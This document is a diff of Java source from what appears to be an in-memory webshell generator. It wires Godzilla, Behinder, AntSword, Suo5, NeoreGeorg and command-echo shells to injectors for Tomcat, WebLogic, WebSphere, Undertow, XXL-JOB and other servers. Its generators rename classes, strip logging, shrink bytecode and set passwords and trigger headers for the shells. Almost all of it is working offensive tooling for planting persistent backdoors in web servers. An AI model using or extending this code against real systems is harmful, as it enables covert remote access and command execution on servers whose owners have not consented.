-        map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
-        map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
-        map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
-        map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
-        map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java

@@ -1,88 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
-import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
-import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
-import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
-import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
-import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
-import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/24
- */
-public class WebLogicShell extends AbstractShell {
-    public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class));
-        map.put(FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class));
-        map.put(AGENT_SERVLET_CONTEXT, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class));
-        map.put(FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class));
-        map.put(AGENT_SERVLET_CONTEXT, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class));
-        map.put(FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class));
-        map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class));
-        map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
-        map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
-        map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java

@@ -1,88 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
-import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.websphere.command.CommandListener;
-import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
-import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
-import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
-import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/21
- */
-public class WebSphereShell extends AbstractShell {
-    public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class));
-        map.put(FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class));
-        map.put(AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class));
-        map.put(FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class));
-        map.put(AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class));
-        map.put(FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class));
-        map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class));
-        map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
-        map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
-        map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java

@@ -1,31 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
-import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
-import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-/**
- * @author ReaJason
- * @since 2025/1/21
- */
-public class XxlJobShell extends AbstractShell {
-    public static final String NETTY_HANDLER = "NettyHandler";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java

@@ -1,25 +0,0 @@
-package com.reajason.javaweb.memshell.config;
-
-import net.bytebuddy.jar.asm.Opcodes;
-
-/**
- * @author ReaJason
- * @since 2024/11/28
- */
-public class Constants {
-    public static final int DEFAULT_VERSION = Opcodes.V1_6;
-
-    public static final String SERVLET = "Servlet";
-    public static final String JAKARTA_SERVLET = "JakartaServlet";
-    public static final String FILTER = "Filter";
-    public static final String JAKARTA_FILTER = "JakartaFilter";
-    public static final String LISTENER = "Listener";
-    public static final String JAKARTA_LISTENER = "JakartaListener";
-
-    public static final String VALVE = "Valve";
-    public static final String JAKARTA_VALVE = "JakartaValve";
-
-    public static final String AGENT = "Agent";
-    public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
-    public static final String AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
-}

generator/src/main/java/com/reajason/javaweb/memshell/config/CustomConfig.java

@@ -0,0 +1,20 @@
+package com.reajason.javaweb.memshell.config;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import lombok.NoArgsConstructor;
+import lombok.ToString;
+import lombok.experimental.SuperBuilder;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/12
+ */
+@Getter
+@SuperBuilder
+@NoArgsConstructor
+@AllArgsConstructor
+@ToString
+public class CustomConfig extends ShellToolConfig {
+    private String shellClassBase64;
+}

generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java

@@ -6,6 +6,8 @@ import lombok.Data;
 import lombok.NoArgsConstructor;
 import org.apache.commons.codec.binary.Base64;
 
+import java.util.Map;
+
 /**
  * @author ReaJason
  * @since 2024/11/24
@@ -21,6 +23,7 @@ public class GenerateResult {
     private String shellBytesBase64Str;
     private String injectorClassName;
     private transient byte[] injectorBytes;
+    private transient Map<String, byte[]> injectorInnerClassBytes;
     private long injectorSize;
     private String injectorBytesBase64Str;
     private ShellConfig shellConfig;
@@ -38,7 +41,7 @@ public class GenerateResult {
                 injectorSize = injectorBytes.length;
             }
             return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
-                    injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
+                    injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/NeoreGeorgConfig.java

@@ -0,0 +1,21 @@
+package com.reajason.javaweb.memshell.config;
+
+import com.reajason.javaweb.memshell.utils.CommonUtil;
+import lombok.*;
+import lombok.experimental.SuperBuilder;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/28
+ */
+@Getter
+@SuperBuilder
+@NoArgsConstructor
+@AllArgsConstructor
+@ToString
+public class NeoreGeorgConfig extends ShellToolConfig {
+    @Builder.Default
+    private String headerName = "Referer";
+    @Builder.Default
+    private String headerValue = CommonUtil.getRandomString(8);
+}

generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java

@@ -1,96 +0,0 @@
-package com.reajason.javaweb.memshell.config;
-
-import com.reajason.javaweb.memshell.*;
-import lombok.Getter;
-
-/**
- * @author ReaJason
- * @since 2024/11/22
- */
-@Getter
-public enum Server {
-    /**
-     * Tomcat 中间件
-     */
-    Tomcat(new TomcatShell()),
-    /**
-     * Jetty 中间件
-     */
-    Jetty(new JettyShell()),
-    /**
-     * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
-     */
-    JBossAS(new JbossShell()),
-    JBossEAP6(new JbossShell()),
-    /**
-     * Undertow，对应是 Wildfly 以及 JBoss EAP，也有可能是 SpringBoot 用的
-     * <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
-     */
-    Undertow(new UndertowShell()),
-    JBossEAP7(new UndertowShell()),
-    WildFly(new UndertowShell()),
-
-    /**
-     * SpringMVC 框架
-     */
-    SpringWebMvc(new SpringWebMvcShell()),
-
-    /**
-     * Spring WebFlux 框架
-     */
-    SpringWebFlux(new SpringWebFluxShell()),
-
-    /**
-     * WebSphere 中间件
-     */
-    WebSphere(new WebSphereShell()),
-
-    /**
-     * WebLogic 中间件
-     */
-    WebLogic(new WebLogicShell()),
-
-    /**
-     * Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
-     */
-    Resin(new ResinShell()),
-
-    /**
-     * GlassFish 中间件
-     */
-    GlassFish(new GlassFishShell()),
-    Payara(new GlassFishShell()),
-
-    /**
-     * 宝兰德中间件
-     */
-    BES(new BesShell()),
-
-    /**
-     * 东方通中间件
-     */
-    TongWeb6(new TongWeb6Shell()),
-    TongWeb7(new TongWeb7Shell()),
-
-    /**
-     * 金蝶天燕中间件
-     */
-    Apusic(new ApusicShell()),
-
-    /**
-     * 中创中间件
-     */
-    InforSuite(new InforSuiteShell()),
-
-    /**
-     * XXL-JOB
-     */
-    XXLJOB(new XxlJobShell())
-    ;
-
-    private final AbstractShell shell;
-
-    Server(AbstractShell shell) {
-        this.shell = shell;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java

@@ -1,5 +1,7 @@
 package com.reajason.javaweb.memshell.config;
 
+import com.reajason.javaweb.memshell.Server;
+import com.reajason.javaweb.memshell.ShellTool;
 import lombok.AllArgsConstructor;
 import lombok.Builder;
 import lombok.Data;
@@ -35,7 +37,7 @@ public class ShellConfig {
      * 生成类的目标 JRE 版本
      */
     @Builder.Default
-    private int targetJreVersion = Constants.DEFAULT_VERSION;
+    private int targetJreVersion = Opcodes.V1_6;
 
     /**
      * 是否需要移除模块限制
@@ -55,6 +57,12 @@ public class ShellConfig {
     @Builder.Default
     private boolean debug = false;
 
+    /**
+     * 是否启用缩小字节码
+     */
+    @Builder.Default
+    private boolean shrink = false;
+
     public boolean isDebugOff() {
         return !debug;
     }

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java

@@ -1,32 +0,0 @@
-package com.reajason.javaweb.memshell.config;
-
-/**
- * @author ReaJason
- * @since 2024/11/22
- */
-public enum ShellTool {
-    /**
-     * 哥斯拉
-     */
-    Godzilla,
-
-    /**
-     * 命令回显
-     */
-    Command,
-
-    /**
-     * 冰蝎
-     */
-    Behinder,
-
-    /**
-     * Suo5 隧道代理
-     */
-    Suo5,
-
-    /**
-     * 蚁剑
-     */
-    AntSword,
-}

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java

@@ -1,8 +1,6 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.AllArgsConstructor;
-import lombok.Builder;
 import lombok.Data;
 import lombok.NoArgsConstructor;
 import lombok.experimental.SuperBuilder;

generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java

@@ -1,17 +1,18 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.AntSwordConfig;
-import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 import org.apache.commons.lang3.StringUtils;
 
-import java.util.Map;
+import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -48,13 +49,13 @@ public class AntSwordGenerator {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
 
-        if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
+        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
             builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(Map.of(
-                            "pass", antSwordConfig.getPass(),
-                            "headerName", antSwordConfig.getHeaderName(),
-                            "headerValue", antSwordConfig.getHeaderValue()
-                    ))
+                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
+                        put("pass", antSwordConfig.getPass());
+                        put("headerName", antSwordConfig.getHeaderName());
+                        put("headerValue", antSwordConfig.getHeaderValue());
+                    }})
             );
         } else {
             builder = builder.field(named("pass")).value(antSwordConfig.getPass())
@@ -67,7 +68,7 @@ public class AntSwordGenerator {
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
         try (DynamicType.Unloaded<?> make = builder.make()) {
-            return make.getBytes();
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java

@@ -1,18 +1,19 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.BehinderConfig;
-import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 import org.apache.commons.codec.digest.DigestUtils;
 import org.apache.commons.lang3.StringUtils;
 
-import java.util.Map;
+import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -51,13 +52,13 @@ public class BehinderGenerator {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
 
-        if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
+        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
             builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(Map.of(
-                            "pass", md5Key,
-                            "headerName", behinderConfig.getHeaderName(),
-                            "headerValue", behinderConfig.getHeaderValue()
-                    ))
+                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
+                        put("pass", md5Key);
+                        put("headerName", behinderConfig.getHeaderName());
+                        put("headerValue", behinderConfig.getHeaderValue());
+                    }})
             );
         } else {
             builder = builder.field(named("pass")).value(md5Key)
@@ -70,7 +71,7 @@ public class BehinderGenerator {
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
         try (DynamicType.Unloaded<?> make = builder.make()) {
-            return make.getBytes();
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java

@@ -1,16 +1,18 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.CommandConfig;
-import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.lang3.StringUtils;
 
-import java.util.Map;
+import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -19,33 +21,52 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
  * @since 2024/11/24
  */
 public class CommandGenerator {
+    private final ShellConfig shellConfig;
+    private final CommandConfig commandConfig;
 
-    public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
-        if (shellConfig.getShellClass() == null) {
-            throw new IllegalArgumentException("shellConfig.getClazz() == null");
+    public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
+        this.shellConfig = shellConfig;
+        this.commandConfig = commandConfig;
+    }
+
+    public DynamicType.Builder<?> getBuilder() {
+        if (commandConfig.getShellClass() == null) {
+            throw new IllegalArgumentException("commandConfig.getClazz() == null");
         }
 
         DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(shellConfig.getShellClass())
-                .name(shellConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()));
+                .redefine(commandConfig.getShellClass())
+                .name(commandConfig.getShellClassName())
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
-        if (config.isJakarta()) {
+        if (shellConfig.isJakarta()) {
             builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
         }
 
-        if (config.isDebugOff()) {
+        if (shellConfig.isDebugOff()) {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
 
-        if (config.getShellType().startsWith(Constants.AGENT)) {
-            builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName())));
-        } else {
-            builder = builder.field(named("paramName")).value(shellConfig.getParamName());
+        String shellType = shellConfig.getShellType();
+        if (!ShellType.WEBSOCKET.equals(shellType)) {
+            if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
+                builder = builder.visit(
+                        new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
+                            put("paramName", commandConfig.getParamName());
+                        }})
+                );
+            } else {
+                builder = builder.field(named("paramName")).value(commandConfig.getParamName());
+            }
         }
 
+        return builder;
+    }
+
+    public byte[] getBytes() {
+        DynamicType.Builder<?> builder = getBuilder();
         try (DynamicType.Unloaded<?> make = builder.make()) {
-            return make.getBytes();
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java

@@ -0,0 +1,35 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.config.CustomConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.lang3.StringUtils;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/18
+ */
+public class CustomShellGenerator {
+
+    private final ShellConfig shellConfig;
+    private final CustomConfig customConfig;
+
+    public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
+        this.shellConfig = shellConfig;
+        this.customConfig = customConfig;
+    }
+
+    public byte[] getBytes() {
+        String shellClassBase64 = customConfig.getShellClassBase64();
+
+        if (StringUtils.isBlank(shellClassBase64)) {
+            throw new IllegalArgumentException("Custom shell class is empty");
+        }
+
+        byte[] bytes = ClassRenameUtils.renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName());
+
+        return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java

@@ -1,10 +1,11 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.config.Constants;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.GodzillaConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import net.bytebuddy.ByteBuddy;
@@ -12,7 +13,7 @@ import net.bytebuddy.dynamic.DynamicType;
 import org.apache.commons.codec.digest.DigestUtils;
 import org.apache.commons.lang3.StringUtils;
 
-import java.util.Map;
+import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -52,15 +53,15 @@ public class GodzillaGenerator {
             builder = LogRemoveMethodVisitor.extend(builder);
         }
 
-        if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
+        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
             builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(Map.of(
-                            "pass", godzillaConfig.getPass(),
-                            "key", md5Key,
-                            "md5", md5,
-                            "headerName", godzillaConfig.getHeaderName(),
-                            "headerValue", godzillaConfig.getHeaderValue()
-                    ))
+                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
+                        put("pass", godzillaConfig.getPass());
+                        put("key", md5Key);
+                        put("md5", md5);
+                        put("headerName", godzillaConfig.getHeaderName());
+                        put("headerValue", godzillaConfig.getHeaderValue());
+                    }})
             );
         } else {
             builder = builder.field(named("pass")).value(godzillaConfig.getPass())
@@ -75,7 +76,7 @@ public class GodzillaGenerator {
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
         try (DynamicType.Unloaded<?> make = builder.make()) {
-            return make.getBytes();
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
         }
     }
 }

